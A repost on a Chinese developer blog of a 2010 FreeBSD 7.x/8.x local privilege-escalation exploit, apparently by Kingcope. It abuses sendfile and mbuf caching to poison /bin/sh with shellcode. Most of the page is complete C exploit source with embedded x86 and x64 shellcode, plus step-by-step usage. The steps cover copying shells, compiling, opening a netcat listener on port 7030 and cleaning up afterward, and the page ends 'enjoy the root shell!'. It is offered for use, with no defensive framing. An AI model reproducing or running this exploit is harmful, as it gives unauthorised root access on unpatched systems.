且构网

分享程序员开发的那些事...
且构网 - 分享程序员编程开发的那些事
您所在的位置：首页 > FreeBSD 8.*, 7.* Local root Exploit

FreeBSD 8.*, 7.* Local root Exploit

更新时间：2022-09-18 12:03:53

 



    

  1. /* 
    2. 

  2.  freebsd mbufs() sendfile cache poisoning-priv escalation  
    3. 

  3.  x86/x64 local root xpl v2 by Kingcope 
    4. 

  4.  2010 
    5. 

  5.  -- 
    6. 

  6.  tested on: 8.1-RC1, 8.0-RELEASE, 7.3-RELEASE and 
    7. 

  7.  7.2-RELEASE-p8 (xd personally did 7.2 test) 
    8. 

  8.  poisons /bin/sh to contain shellcode which does this... 
    9. 

  9.  ' 
    10. 

  10.  chmod a+s /tmp/sh 
    11. 

  11.  chown root /tmp/sh 
    12. 

  12.  execve /tmp/sh2 
    13. 

  13.  ' 
    14. 

  14.  how to use ths is VERY important it is NOT your standard type, 
    15. 

  15.  DONT start a listener as normal...let this do its shit.. 
    16. 

  16.  and then again, there is a MUCH simpler way you could redo 
    17. 

  17.  this exploit but, thats for you to find ;) -xd 
    18. 

  18.   
    19. 

  19.  box 1 (TARGET): 
    20. 

  20.  $ cp /bin/sh /tmp/sh 
    21. 

  21.  $ cp /bin/sh /tmp/sh2 
    22. 

  22.  $ gcc cache.c -o cache 
    23. 

  23.   
    24. 

  24.  box 2 (LISTENER): 
    25. 

  25.  $ nc -l 7030 
    26. 

  26.   
    27. 

  27.  on box 1 do: 
    28. 

  28.  for i386 type: 
    29. 

  29.  $ ./cache 1 
    30. 

  30.  for amd64 type: 
    31. 

  31.  $ ./cache 2 
    32. 

  32.   
    33. 

  33.  ok now lets hope this worked and injected the shellcode,should, 
    34. 

  34.  /bin/sh should be execed by the system as root in ~5 mins if lucky :) 
    35. 

  35.   
    36. 

  36. NOW DO: 
    37. 

  37.  $ /tmp/sh 
    38. 

  38. AND cleanup: 
    39. 

  39.  # cp -f /tmp/sh2 /bin/sh 
    40. 

  40.  enjoy the root shell! 
    41. 

  41. */ 
    42. 

  42.   
    43. 

  43. // this juarez is now private on #darknet 
    44. 

  44. // http://www.***.com/watch?v=JtgInqNNpCI 
    45. 

  45. // http://www.***.com/watch?v=IdbRWrY4QBI 
    46. 

  46.   
    47. 

  47. #include <sys/types.h>  
    48. 

  48. #include <sys/socket.h> 
    49. 

  49. #include <sys/uio.h> 
    50. 

  50. #include <fcntl.h> 
    51. 

  51. #include <netinet/in.h> 
    52. 

  52. #include <sys/select.h> 
    53. 

  53. #include <sys/stat.h> 
    54. 

  54. #include <strings.h> 
    55. 

  55. #include <stdio.h>  
    56. 

  56. #include <string.h> 
    57. 

  57. #include <err.h> 
    58. 

  58.   
    59. 

  59. main (int argc, char *argv[]) { 
    60. 

  60.   int s, f, k2; 
    61. 

  61.   struct sockaddr_in addr; 
    62. 

  62.   int flags; 
    63. 

  63.   
    64. 

  64.   char str32[]= 
    65. 

  65.   "\x31\xc0\x6a\x00\x68\x70\x2f\x73\x68\x68\x2f\x2f\x74\x6d\x89\xe3" 
    66. 

  66.   "\x50\x50\x53\xb0\x10\x50\xcd\x80\x68\xed\x0d\x00\x00\x53\xb0\x0f" 
    67. 

  67.   "\x50\xcd\x80\x31\xc0\x6a\x00\x68\x2f\x73\x68\x32\x68\x2f\x74\x6d" 
    68. 

  68.   "\x70\x89\xe3\x50\x54\x53\x50\xb0\x3b\xcd\x80"; 
    69. 

  69.   
    70. 

  70.   char str64[]= 
    71. 

  71.   "\x48\x31\xc0\x99\xb0\x10\x48\xbf\xff\x2f\x74\x6d\x70\x2f\x73\x68" 
    72. 

  72.   "\x48\xc1\xef\x08\x57\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x0f\x05" 
    73. 

  73.   "\xb0\x0f\x48\x31\xf6\x66\xbe\xed\x0d\x0f\x05\x48\x31\xc0\x99\xb0" 
    74. 

  74.   "\x3b\x48\xbf\x2f\x74\x6d\x70\x2f\x73\x68\x32\x6a\x00\x57\x48\x89" 
    75. 

  75.   "\xe7\x57\x52\x48\x89\xe6\x0f\x05"; 
    76. 

  76.   
    77. 

  77.   char buf[10000]; 
    78. 

  78.   char *p; 
    79. 

  79.   struct stat sb; 
    80. 

  80.   int n; 
    81. 

  81.   fd_set wset;    
    82. 

  82.   int64_t size;   
    83. 

  83.   off_t sbytes;   
    84. 

  84.   off_t sent = 0; 
    85. 

  85.   int chunk;    
    86. 

  86.   int arch = 3; 
    87. 

  87.   
    88. 

  88.   if (argc != 2) { 
    89. 

  89.     printf("[+] Define architecture i386 or amd64 (1/2)\n"); 
    90. 

  90.     return; 
    91. 

  91.   
    92. 

  92.   } 
    93. 

  93.   
    94. 

  94.   if (strcmp(argv[1], "1") == 0) 
    95. 

  95.   arch=1; 
    96. 

  96.   if (strcmp(argv[1], "2") == 0) 
    97. 

  97.   arch=2; 
    98. 

  98.   
    99. 

  99.   if (arch == 3) { 
    100. 

  100.     printf("[+] Define architecture i386 or amd64 (1/2)\n"); 
    101. 

  101.     return; 
    102. 

  102.   } 
    103. 

  103.   
    104. 

  104.   s = socket(AF_INET, SOCK_STREAM, 0); 
    105. 

  105.   bzero(&addr, sizeof(addr)); 
    106. 

  106.   addr.sin_family = AF_INET;   
    107. 

  107.   addr.sin_port = htons(7030); 
    108. 

  108.   addr.sin_addr.s_addr = inet_addr("127.0.0.1"); 
    109. 

  109.   n = connect(s, (struct sockaddr *)&addr, sizeof (addr)); 
    110. 

  110.   
    111. 

  111.   if (n < 0) 
    112. 

  112.   warn ("[-] Failed to connect"); 
    113. 

  113.   f = open("/bin/sh", O_RDONLY); 
    114. 

  114.   if (f<0) 
    115. 

  115.   warn("[-] Failed to open file"); 
    116. 

  116.   n = fstat(f, &sb); 
    117. 

  117.   if (n<0) 
    118. 

  118.   warn("[-] fstat failed"); 
    119. 

  119.   
    120. 

  120.   size = sb.st_size; 
    121. 

  121.   chunk = 0; 
    122. 

  122.   flags = fcntl(f, F_GETFL); 
    123. 

  123.   flags |= O_NONBLOCK; 
    124. 

  124.   fcntl(f, F_SETFL, flags); 
    125. 

  125.   while (size > 0) { 
    126. 

  126.     FD_ZERO(&wset);   
    127. 

  127.     FD_SET(s, &wset); 
    128. 

  128.     n = select(f+1, NULL, &wset, NULL, NULL); 
    129. 

  129.     if (n < 0) 
    130. 

  130.     continue; 
    131. 

  131.       if (chunk > 0) { 
    132. 

  132.       sbytes = 0;    
    133. 

  133.       if (arch == 1) 
    134. 

  134.       n = sendfile(f, s, 2048*2, chunk, NULL, &sbytes,0); 
    135. 

  135.       if (arch == 2) 
    136. 

  136.       n = sendfile(f, s, 1204*6, chunk, NULL, &sbytes,0); 
    137. 

  137.   
    138. 

  138.       if (n < 0) 
    139. 

  139.       continue;  
    140. 

  140.       chunk -= sbytes; 
    141. 

  141.       size -= sbytes;  
    142. 

  142.       sent += sbytes;  
    143. 

  143.       continue; 
    144. 

  144.     } 
    145. 

  145.     chunk = 2048; 
    146. 

  146.     memset(buf, '\0', sizeof buf); 
    147. 

  147.     if (arch == 1) { 
    148. 

  148.       for (k2=0;k2<256;k2++) { 
    149. 

  149.         buf[k2] = 0x90; 
    150. 

  150.       } 
    151. 

  151.       p = buf; 
    152. 

  152.       p = p + k2; 
    153. 

  153.       memcpy(p, str32, sizeof str32); 
    154. 

  154.       n = k2 + sizeof str32; 
    155. 

  155.       p = buf; 
    156. 

  156.     } 
    157. 

  157.     if (arch == 2) { 
    158. 

  158.       for (k2=0;k2<100;k2++) { 
    159. 

  159.         buf[k2] = 0x90; 
    160. 

  160.       } 
    161. 

  161.       p = buf; 
    162. 

  162.       p = p + k2; 
    163. 

  163.       memcpy(p, str64, sizeof str64); 
    164. 

  164.       n = k2 + sizeof str64; 
    165. 

  165.       p = buf; 
    166. 

  166.     } 
    167. 

  167.     write(s, p, n); 
    168. 

  168.   } 
    169. 

  169. } 
    170. 





































本文转hackfreer51CTO博客，原文链接：http://blog.51cto.com/pnig0s1992/550770，如需转载请自行联系原作者

上一篇 : ：Windows Server 2016第三个技术预览版新技术下一篇 : Mysql 另类盲注中的一些技巧
相关阅读
推荐文章






网站首页网站地图Copyright © 2021-2022 且购网  
免责声明：本站文章部分来源于互联网,如有侵权请联系站长,我们将在72小时内删除。